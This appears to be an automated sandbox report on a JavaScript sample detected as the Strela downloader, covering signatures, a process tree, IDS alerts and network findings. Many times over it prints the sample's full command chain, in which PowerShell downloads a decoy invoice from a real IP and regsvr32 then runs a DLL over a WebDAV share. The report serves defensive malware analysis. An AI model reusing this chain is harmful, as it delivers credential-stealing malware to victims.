Edit tour

Windows Analysis Report
5749110051971019035.js

Overview

General Information

Sample name:	5749110051971019035.js
Analysis ID:	1588563
MD5:	277611142a26e909d2c85d40cd34918e
SHA1:	7c387523e9554667b4763991c25a2f14c86f75b0
SHA256:	47c5eb1293e88855eea2c7b4811f85d45e44609a09b3bd50bcd64254b43dff68
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7792 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5749110051971019035.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 8032 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8104 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5924 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2720 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7308 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1580,i,2025617775236687807,10016802777393480840,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6420 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6944 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 1412 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7792	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8032, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 8104, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8032, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 8104, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5749110051971019035.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5749110051971019035.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5749110051971019035.js", ProcessId: 7792, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6944, Protocol: tcp, SourceIp: 192.168.2.10, SourceIsIpv6: false, SourcePort: 49727

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5749110051971019035.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7792, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll, ProcessId: 8032, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5749110051971019035.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7792, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll, ProcessId: 8032, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5749110051971019035.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7792, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll, ProcessId: 8032, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5749110051971019035.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7792, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll, ProcessId: 8032, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5749110051971019035.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7792, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll, ProcessId: 8032, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5749110051971019035.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5749110051971019035.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5749110051971019035.js", ProcessId: 7792, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8032, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 8104, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6420, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6944, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 1412, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6420, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6944, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5749110051971019035.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7792, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll, ProcessId: 8032, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:25:10.013383+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.10	49711	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:25:12.573968+0100	1810005	1	Potentially Bad Traffic	192.168.2.10	49727	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:25:10.013383+0100	1810000	2	Potentially Bad Traffic	192.168.2.10	49711	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 5749110051971019035.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 5749110051971019035.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.10:49711 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.10:49727 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:25:09 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 8888
